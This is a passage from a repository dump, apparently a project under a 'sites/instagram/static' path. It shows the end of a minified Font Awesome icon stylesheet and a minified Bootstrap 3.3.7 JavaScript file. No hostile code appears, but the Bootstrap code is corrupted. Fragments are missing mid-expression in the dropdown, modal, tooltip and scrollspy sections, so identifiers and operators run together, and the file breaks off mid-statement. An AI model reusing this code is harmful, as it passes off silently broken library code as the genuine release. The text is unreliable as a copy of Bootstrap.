ibd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto} 5 | -------------------------------------------------------------------------------- /sites/instagram/static/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.7 (http://getbootstrap.com) 3 | * Copyright 2011-2017 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | /*! 8 | * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=805d360491474448fe52fa5cb08fdd55) 9 | * Config saved to config.json and https://gist.github.com/805d360491474448fe52fa5cb08fdd55 10 | */ 11 | if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(t){"use strict";var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1==e[0]&&9==e[1]&&e[2]<1||e[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var i=t(this),n=i.data("bs.alert");n||i.data("bs.alert",n=new o(this)),"string"==typeof e&&n[e].call(i)})}var i='[data-dismiss="alert"]',o=function(e){t(e).on("click",i,this.close)};o.VERSION="3.3.7",o.TRANSITION_DURATION=150,o.prototype.close=function(e){function i(){a.detach().trigger("closed.bs.alert").remove()}var n=t(this),s=n.attr("data-target");s||(s=n.attr("href"),s=s&&s.replace(/.*(?=#[^\s]*$)/,""));var a=t("#"===s?[]:s);e&&e.preventDefault(),a.length||(a=n.closest(".alert")),a.trigger(e=t.Event("close.bs.alert")),e.isDefaultPrevented()||(a.removeClass("in"),t.support.transition&&a.hasClass("fade")?a.one("bsTransitionEnd",i).emulateTransitionEnd(o.TRANSITION_DURATION):i())};var n=t.fn.alert;t.fn.alert=e,t.fn.alert.Constructor=o,t.fn.alert.noConflict=function(){return t.fn.alert=n,this},t(document).on("click.bs.alert.data-api",i,o.prototype.close)}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var o=t(this),n=o.data("bs.button"),s="object"==typeof e&&e;n||o.data("bs.button",n=new i(this,s)),"toggle"==e?n.toggle():e&&n.setState(e)})}var i=function(e,o){this.$element=t(e),this.options=t.extend({},i.DEFAULTS,o),this.isLoading=!1};i.VERSION="3.3.7",i.DEFAULTS={loadingText:"loading..."},i.prototype.setState=function(e){var i="disabled",o=this.$element,n=o.is("input")?"val":"html",s=o.data();e+="Text",null==s.resetText&&o.data("resetText",o[n]()),setTimeout(t.proxy(function(){o[n](null==s[e]?this.options[e]:s[e]),"loadingText"==e?(this.isLoading=!0,o.addClass(i).attr(i,i).prop(i,!0)):this.isLoading&&(this.isLoading=!1,o.removeClass(i).removeAttr(i).prop(i,!1))},this),0)},i.prototype.toggle=function(){var t=!0,e=this.$element.closest('[data-toggle="buttons"]');if(e.length){var i=this.$element.find("input");"radio"==i.prop("type")?(i.prop("checked")&&(t=!1),e.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==i.prop("type")&&(i.prop("checked")!==this.$element.hasClass("active")&&(t=!1),this.$element.toggleClass("active")),i.prop("checked",this.$element.hasClass("active")),t&&i.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var o=t.fn.button;t.fn.button=e,t.fn.button.Constructor=i,t.fn.button.noConflict=function(){return t.fn.button=o,this},t(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(i){var o=t(i.target).closest(".btn");e.call(o,"toggle"),t(i.target).is('input[type="radio"], input[type="checkbox"]')||(i.preventDefault(),o.is("input,button")?o.trigger("focus"):o.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(e){t(e.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(e.type))})}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var o=t(this),n=o.data("bs.carousel"),s=t.extend({},i.DEFAULTS,o.data(),"object"==typeof e&&e),a="string"==typeof e?e:s.slide;n||o.data("bs.carousel",n=new i(this,s)),"number"==typeof e?n.to(e):a?n[a]():s.interval&&n.pause().cycle()})}var i=function(e,i){this.$element=t(e),this.$indicators=this.$element.find(".carousel-indicators"),this.options=i,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",t.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",t.proxy(this.pause,this)).on("mouseleave.bs.carousel",t.proxy(this.cycle,this))};i.VERSION="3.3.7",i.TRANSITION_DURATION=600,i.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},i.prototype.keydown=function(t){if(!/input|textarea/i.test(t.target.tagName)){switch(t.which){case 37:this.prev();break;case 39:this.next();break;default:return}t.preventDefault()}},i.prototype.cycle=function(e){return e||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(t.proxy(this.next,this),this.options.interval)),this},i.prototype.getItemIndex=function(t){return this.$items=t.parent().children(".item"),this.$items.index(t||this.$active)},i.prototype.getItemForDirection=function(t,e){var i=this.getItemIndex(e),o="prev"==t&&0===i||"next"==t&&i==this.$items.length-1;if(o&&!this.options.wrap)return e;var n="prev"==t?-1:1,s=(i+n)%this.$items.length;return this.$items.eq(s)},i.prototype.to=function(t){var e=this,i=this.getItemIndex(this.$active=this.$element.find(".item.active"));return t>this.$items.length-1||0>t?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){e.to(t)}):i==t?this.pause().cycle():this.slide(t>i?"next":"prev",this.$items.eq(t))},i.prototype.pause=function(e){return e||(this.paused=!0),this.$element.find(".next, .prev").length&&t.support.transition&&(this.$element.trigger(t.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},i.prototype.next=function(){return this.sliding?void 0:this.slide("next")},i.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},i.prototype.slide=function(e,o){var n=this.$element.find(".item.active"),s=o||this.getItemForDirection(e,n),a=this.interval,r="next"==e?"left":"right",l=this;if(s.hasClass("active"))return this.sliding=!1;var h=s[0],d=t.Event("slide.bs.carousel",{relatedTarget:h,direction:r});if(this.$element.trigger(d),!d.isDefaultPrevented()){if(this.sliding=!0,a&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var p=t(this.$indicators.children()[this.getItemIndex(s)]);p&&p.addClass("active")}var c=t.Event("slid.bs.carousel",{relatedTarget:h,direction:r});return t.support.transition&&this.$element.hasClass("slide")?(s.addClass(e),s[0].offsetWidth,n.addClass(r),s.addClass(r),n.one("bsTransitionEnd",function(){s.removeClass([e,r].join(" ")).addClass("active"),n.removeClass(["active",r].join(" ")),l.sliding=!1,setTimeout(function(){l.$element.trigger(c)},0)}).emulateTransitionEnd(i.TRANSITION_DURATION)):(n.removeClass("active"),s.addClass("active"),this.sliding=!1,this.$element.trigger(c)),a&&this.cycle(),this}};var o=t.fn.carousel;t.fn.carousel=e,t.fn.carousel.Constructor=i,t.fn.carousel.noConflict=function(){return t.fn.carousel=o,this};var n=function(i){var o,n=t(this),s=t(n.attr("data-target")||(o=n.attr("href"))&&o.replace(/.*(?=#[^\s]+$)/,""));if(s.hasClass("carousel")){var a=t.extend({},s.data(),n.data()),r=n.attr("data-slide-to");r&&(a.interval=!1),e.call(s,a),r&&s.data("bs.carousel").to(r),i.preventDefault()}};t(document).on("click.bs.carousel.data-api","[data-slide]",n).on("click.bs.carousel.data-api","[data-slide-to]",n),t(window).on("load",function(){t('[data-ride="carousel"]').each(function(){var i=t(this);e.call(i,i.data())})})}(jQuery),+function(t){"use strict";function e(e){var i=e.attr("data-target");i||(i=e.attr("href"),i=i&&/#[A-Za-z]/.test(i)&&i.replace(/.*(?=#[^\s]*$)/,""));var o=i&&t(i);return o&&o.length?o:e.parent()}function i(i){i&&3===i.which||(t(n).remove(),t(s).each(function(){var o=t(this),n=e(o),s={relatedTarget:this};n.hasClass("open")&&(i&&"click"==i.type&&/input|textarea/i.test(i.target.tagName)&&t.contains(n[0],i.target)||(n.trigger(i=t.Event("hide.bs.dropdown",s)),i.isDefaultPrevented()||(o.attr("aria-expanded","false"),n.removeClass("open").trigger(t.Event("hidden.bs.dropdown",s)))))}))}function o(e){return this.each(function(){var i=t(this),o=i.data("bs.dropdown");o||i.data("bs.dropdown",o=new a(this)),"string"==typeof e&&o[e].call(i)})}var n=".dropdown-backdrop",s='[data-toggle="dropdown"]',a=function(e){t(e).on("click.bs.dropdown",this.toggle)};a.VERSION="3.3.7",a.prototype.toggle=function(o){var n=t(this);if(!n.is(".disabled, :disabled")){var s=e(n),a=s.hasClass("open");if(i(),!a){"ontouchstart"in document.documentElement&&!s.closest(".navbar-nav").length&&t(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(t(this)).on("click",i);var r={relatedTarget:this};if(s.trigger(o=t.Event("show.bs.dropdown",r)),o.isDefaultPrevented())return;n.trigger("focus").attr("aria-expanded","true"),s.toggleClass("open").trigger(t.Event("shown.bs.dropdown",r))}return!1}},a.prototype.keydown=function(i){if(/(38|40|27|32)/.test(i.which)&&!/input|textarea/i.test(i.target.tagName)){var o=t(this);if(i.preventDefault(),i.stopPropagation(),!o.is(".disabled, :disabled")){var n=e(o),a=n.hasClass("open");if(!a&&27!=i.which||a&&27==i.which)return 27==i.which&&n.find(s).trigger("focus"),o.trigger("click");var r=" li:not(.disabled):visible a",l=n.find(".dropdown-menu"+r);if(l.length){var h=l.index(i.target);38==i.which&&h>0&&h--,40==i.which&&hdocument.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&t?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!t?this.scrollbarWidth:""})},i.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},i.prototype.checkScrollbar=function(){var t=window.innerWidth;if(!t){var e=document.documentElement.getBoundingClientRect();t=e.right-Math.abs(e.left)}this.bodyIsOverflowing=document.body.clientWidth
',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},i.prototype.init=function(e,i,o){if(this.enabled=!0,this.type=e,this.$element=t(i),this.options=this.getOptions(o),this.$viewport=this.options.viewport&&t(t.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var n=this.options.trigger.split(" "),s=n.length;s--;){var a=n[s];if("click"==a)this.$element.on("click."+this.type,this.options.selector,t.proxy(this.toggle,this));else if("manual"!=a){var r="hover"==a?"mouseenter":"focusin",l="hover"==a?"mouseleave":"focusout";this.$element.on(r+"."+this.type,this.options.selector,t.proxy(this.enter,this)),this.$element.on(l+"."+this.type,this.options.selector,t.proxy(this.leave,this))}}this.options.selector?this._options=t.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},i.prototype.getDefaults=function(){return i.DEFAULTS},i.prototype.getOptions=function(e){return e=t.extend({},this.getDefaults(),this.$element.data(),e),e.delay&&"number"==typeof e.delay&&(e.delay={show:e.delay,hide:e.delay}),e},i.prototype.getDelegateOptions=function(){var e={},i=this.getDefaults();return this._options&&t.each(this._options,function(t,o){i[t]!=o&&(e[t]=o)}),e},i.prototype.enter=function(e){var i=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);return i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i)),e instanceof t.Event&&(i.inState["focusin"==e.type?"focus":"hover"]=!0),i.tip().hasClass("in")||"in"==i.hoverState?void(i.hoverState="in"):(clearTimeout(i.timeout),i.hoverState="in",i.options.delay&&i.options.delay.show?void(i.timeout=setTimeout(function(){"in"==i.hoverState&&i.show()},i.options.delay.show)):i.show())},i.prototype.isInStateTrue=function(){for(var t in this.inState)if(this.inState[t])return!0;return!1},i.prototype.leave=function(e){var i=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);return i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i)),e instanceof t.Event&&(i.inState["focusout"==e.type?"focus":"hover"]=!1),i.isInStateTrue()?void 0:(clearTimeout(i.timeout),i.hoverState="out",i.options.delay&&i.options.delay.hide?void(i.timeout=setTimeout(function(){"out"==i.hoverState&&i.hide()},i.options.delay.hide)):i.hide())},i.prototype.show=function(){var e=t.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(e);var o=t.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(e.isDefaultPrevented()||!o)return;var n=this,s=this.tip(),a=this.getUID(this.type);this.setContent(),s.attr("id",a),this.$element.attr("aria-describedby",a),this.options.animation&&s.addClass("fade");var r="function"==typeof this.options.placement?this.options.placement.call(this,s[0],this.$element[0]):this.options.placement,l=/\s?auto?\s?/i,h=l.test(r);h&&(r=r.replace(l,"")||"top"),s.detach().css({top:0,left:0,display:"block"}).addClass(r).data("bs."+this.type,this),this.options.container?s.appendTo(this.options.container):s.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var d=this.getPosition(),p=s[0].offsetWidth,c=s[0].offsetHeight;if(h){var f=r,u=this.getPosition(this.$viewport);r="bottom"==r&&d.bottom+c>u.bottom?"top":"top"==r&&d.top-cu.width?"left":"left"==r&&d.left-pa.top+a.height&&(n.top=a.top+a.height-l)}else{var h=e.left-s,d=e.left+s+i;ha.right&&(n.left=a.left+a.width-d)}return n},i.prototype.getTitle=function(){var t,e=this.$element,i=this.options;return t=e.attr("data-original-title")||("function"==typeof i.title?i.title.call(e[0]):i.title)},i.prototype.getUID=function(t){do t+=~~(1e6*Math.random());while(document.getElementById(t));return t},i.prototype.tip=function(){if(!this.$tip&&(this.$tip=t(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},i.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},i.prototype.enable=function(){this.enabled=!0},i.prototype.disable=function(){this.enabled=!1},i.prototype.toggleEnabled=function(){this.enabled=!this.enabled},i.prototype.toggle=function(e){var i=this;e&&(i=t(e.currentTarget).data("bs."+this.type),i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i))),e?(i.inState.click=!i.inState.click,i.isInStateTrue()?i.enter(i):i.leave(i)):i.tip().hasClass("in")?i.leave(i):i.enter(i)},i.prototype.destroy=function(){var t=this;clearTimeout(this.timeout),this.hide(function(){t.$element.off("."+t.type).removeData("bs."+t.type),t.$tip&&t.$tip.detach(),t.$tip=null,t.$arrow=null,t.$viewport=null,t.$element=null})};var o=t.fn.tooltip;t.fn.tooltip=e,t.fn.tooltip.Constructor=i,t.fn.tooltip.noConflict=function(){return t.fn.tooltip=o,this}}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var o=t(this),n=o.data("bs.popover"),s="object"==typeof e&&e;!n&&/destroy|hide/.test(e)||(n||o.data("bs.popover",n=new i(this,s)),"string"==typeof e&&n[e]())})}var i=function(t,e){this.init("popover",t,e)};if(!t.fn.tooltip)throw new Error("Popover requires tooltip.js");i.VERSION="3.3.7",i.DEFAULTS=t.extend({},t.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),i.prototype=t.extend({},t.fn.tooltip.Constructor.prototype),i.prototype.constructor=i,i.prototype.getDefaults=function(){return i.DEFAULTS},i.prototype.setContent=function(){var t=this.tip(),e=this.getTitle(),i=this.getContent();t.find(".popover-title")[this.options.html?"html":"text"](e),t.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof i?"html":"append":"text"](i),t.removeClass("fade top bottom left right in"),t.find(".popover-title").html()||t.find(".popover-title").hide()},i.prototype.hasContent=function(){return this.getTitle()||this.getContent()},i.prototype.getContent=function(){var t=this.$element,e=this.options;return t.attr("data-content")||("function"==typeof e.content?e.content.call(t[0]):e.content)},i.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var o=t.fn.popover;t.fn.popover=e,t.fn.popover.Constructor=i,t.fn.popover.noConflict=function(){return t.fn.popover=o,this}}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var o=t(this),n=o.data("bs.tab");n||o.data("bs.tab",n=new i(this)),"string"==typeof e&&n[e]()})}var i=function(e){this.element=t(e)};i.VERSION="3.3.7",i.TRANSITION_DURATION=150,i.prototype.show=function(){var e=this.element,i=e.closest("ul:not(.dropdown-menu)"),o=e.data("target");if(o||(o=e.attr("href"),o=o&&o.replace(/.*(?=#[^\s]*$)/,"")),!e.parent("li").hasClass("active")){var n=i.find(".active:last a"),s=t.Event("hide.bs.tab",{relatedTarget:e[0]}),a=t.Event("show.bs.tab",{relatedTarget:n[0]});if(n.trigger(s),e.trigger(a),!a.isDefaultPrevented()&&!s.isDefaultPrevented()){var r=t(o);this.activate(e.closest("li"),i),this.activate(r,r.parent(),function(){n.trigger({type:"hidden.bs.tab",relatedTarget:e[0]}),e.trigger({type:"shown.bs.tab",relatedTarget:n[0]})})}}},i.prototype.activate=function(e,o,n){function s(){a.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),e.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),r?(e[0].offsetWidth,e.addClass("in")):e.removeClass("fade"),e.parent(".dropdown-menu").length&&e.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),n&&n()}var a=o.find("> .active"),r=n&&t.support.transition&&(a.length&&a.hasClass("fade")||!!o.find("> .fade").length);a.length&&r?a.one("bsTransitionEnd",s).emulateTransitionEnd(i.TRANSITION_DURATION):s(),a.removeClass("in")};var o=t.fn.tab;t.fn.tab=e,t.fn.tab.Constructor=i,t.fn.tab.noConflict=function(){return t.fn.tab=o,this};var n=function(i){i.preventDefault(),e.call(t(this),"show")};t(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',n).on("click.bs.tab.data-api",'[data-toggle="pill"]',n)}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var o=t(this),n=o.data("bs.affix"),s="object"==typeof e&&e;n||o.data("bs.affix",n=new i(this,s)),"string"==typeof e&&n[e]()})}var i=function(e,o){this.options=t.extend({},i.DEFAULTS,o),this.$target=t(this.options.target).on("scroll.bs.affix.data-api",t.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",t.proxy(this.checkPositionWithEventLoop,this)),this.$element=t(e),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};i.VERSION="3.3.7",i.RESET="affix affix-top affix-bottom",i.DEFAULTS={offset:0,target:window},i.prototype.getState=function(t,e,i,o){var n=this.$target.scrollTop(),s=this.$element.offset(),a=this.$target.height();if(null!=i&&"top"==this.affixed)return i>n?"top":!1;if("bottom"==this.affixed)return null!=i?n+this.unpin<=s.top?!1:"bottom":t-o>=n+a?!1:"bottom";var r=null==this.affixed,l=r?n:s.top,h=r?a:e;return null!=i&&i>=n?"top":null!=o&&l+h>=t-o?"bottom":!1},i.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(i.RESET).addClass("affix");var t=this.$target.scrollTop(),e=this.$element.offset();return this.pinnedOffset=e.top-t},i.prototype.checkPositionWithEventLoop=function(){setTimeout(t.proxy(this.checkPosition,this),1)},i.prototype.checkPosition=function(){if(this.$element.is(":visible")){var e=this.$element.height(),o=this.options.offset,n=o.top,s=o.bottom,a=Math.max(t(document).height(),t(document.body).height());"object"!=typeof o&&(s=n=o),"function"==typeof n&&(n=o.top(this.$element)),"function"==typeof s&&(s=o.bottom(this.$element));var r=this.getState(a,e,n,s);if(this.affixed!=r){null!=this.unpin&&this.$element.css("top","");var l="affix"+(r?"-"+r:""),h=t.Event(l+".bs.affix");if(this.$element.trigger(h),h.isDefaultPrevented())return;this.affixed=r,this.unpin="bottom"==r?this.getPinnedOffset():null,this.$element.removeClass(i.RESET).addClass(l).trigger(l.replace("affix","affixed")+".bs.affix")}"bottom"==r&&this.$element.offset({top:a-e-s})}};var o=t.fn.affix;t.fn.affix=e,t.fn.affix.Constructor=i,t.fn.affix.noConflict=function(){return t.fn.affix=o,this},t(window).on("load",function(){t('[data-spy="affix"]').each(function(){var i=t(this),o=i.data();o.offset=o.offset||{},null!=o.offsetBottom&&(o.offset.bottom=o.offsetBottom),null!=o.offsetTop&&(o.offset.top=o.offsetTop),e.call(i,o)})})}(jQuery),+function(t){"use strict";function e(e){var i,o=e.attr("data-target")||(i=e.attr("href"))&&i.replace(/.*(?=#[^\s]+$)/,"");return t(o)}function i(e){return this.each(function(){var i=t(this),n=i.data("bs.collapse"),s=t.extend({},o.DEFAULTS,i.data(),"object"==typeof e&&e);!n&&s.toggle&&/show|hide/.test(e)&&(s.toggle=!1),n||i.data("bs.collapse",n=new o(this,s)),"string"==typeof e&&n[e]()})}var o=function(e,i){this.$element=t(e),this.options=t.extend({},o.DEFAULTS,i),this.$trigger=t('[data-toggle="collapse"][href="#'+e.id+'"],[data-toggle="collapse"][data-target="#'+e.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};o.VERSION="3.3.7",o.TRANSITION_DURATION=350,o.DEFAULTS={toggle:!0},o.prototype.dimension=function(){var t=this.$element.hasClass("width");return t?"width":"height"},o.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var e,n=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(n&&n.length&&(e=n.data("bs.collapse"),e&&e.transitioning))){var s=t.Event("show.bs.collapse");if(this.$element.trigger(s),!s.isDefaultPrevented()){n&&n.length&&(i.call(n,"hide"),e||n.data("bs.collapse",null));var a=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[a](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var r=function(){this.$element.removeClass("collapsing").addClass("collapse in")[a](""),this.transitioning=0, 12 | this.$element.trigger("shown.bs.collapse")};if(!t.support.transition)return r.call(this);var l=t.camelCase(["scroll",a].join("-"));this.$element.one("bsTransitionEnd",t.proxy(r,this)).emulateTransitionEnd(o.TRANSITION_DURATION)[a](this.$element[0][l])}}}},o.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var e=t.Event("hide.bs.collapse");if(this.$element.trigger(e),!e.isDefaultPrevented()){var i=this.dimension();this.$element[i](this.$element[i]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var n=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return t.support.transition?void this.$element[i](0).one("bsTransitionEnd",t.proxy(n,this)).emulateTransitionEnd(o.TRANSITION_DURATION):n.call(this)}}},o.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},o.prototype.getParent=function(){return t(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(t.proxy(function(i,o){var n=t(o);this.addAriaAndCollapsedClass(e(n),n)},this)).end()},o.prototype.addAriaAndCollapsedClass=function(t,e){var i=t.hasClass("in");t.attr("aria-expanded",i),e.toggleClass("collapsed",!i).attr("aria-expanded",i)};var n=t.fn.collapse;t.fn.collapse=i,t.fn.collapse.Constructor=o,t.fn.collapse.noConflict=function(){return t.fn.collapse=n,this},t(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(o){var n=t(this);n.attr("data-target")||o.preventDefault();var s=e(n),a=s.data("bs.collapse"),r=a?"toggle":n.data();i.call(s,r)})}(jQuery),+function(t){"use strict";function e(i,o){this.$body=t(document.body),this.$scrollElement=t(t(i).is(document.body)?window:i),this.options=t.extend({},e.DEFAULTS,o),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",t.proxy(this.process,this)),this.refresh(),this.process()}function i(i){return this.each(function(){var o=t(this),n=o.data("bs.scrollspy"),s="object"==typeof i&&i;n||o.data("bs.scrollspy",n=new e(this,s)),"string"==typeof i&&n[i]()})}e.VERSION="3.3.7",e.DEFAULTS={offset:10},e.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},e.prototype.refresh=function(){var e=this,i="offset",o=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),t.isWindow(this.$scrollElement[0])||(i="position",o=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var e=t(this),n=e.data("target")||e.attr("href"),s=/^#./.test(n)&&t(n);return s&&s.length&&s.is(":visible")&&[[s[i]().top+o,n]]||null}).sort(function(t,e){return t[0]-e[0]}).each(function(){e.offsets.push(this[0]),e.targets.push(this[1])})},e.prototype.process=function(){var t,e=this.$scrollElement.scrollTop()+this.options.offset,i=this.getScrollHeight(),o=this.options.offset+i-this.$scrollElement.height(),n=this.offsets,s=this.targets,a=this.activeTarget;if(this.scrollHeight!=i&&this.refresh(),e>=o)return a!=(t=s[s.length-1])&&this.activate(t);if(a&&e=n[t]&&(void 0===n[t+1]||e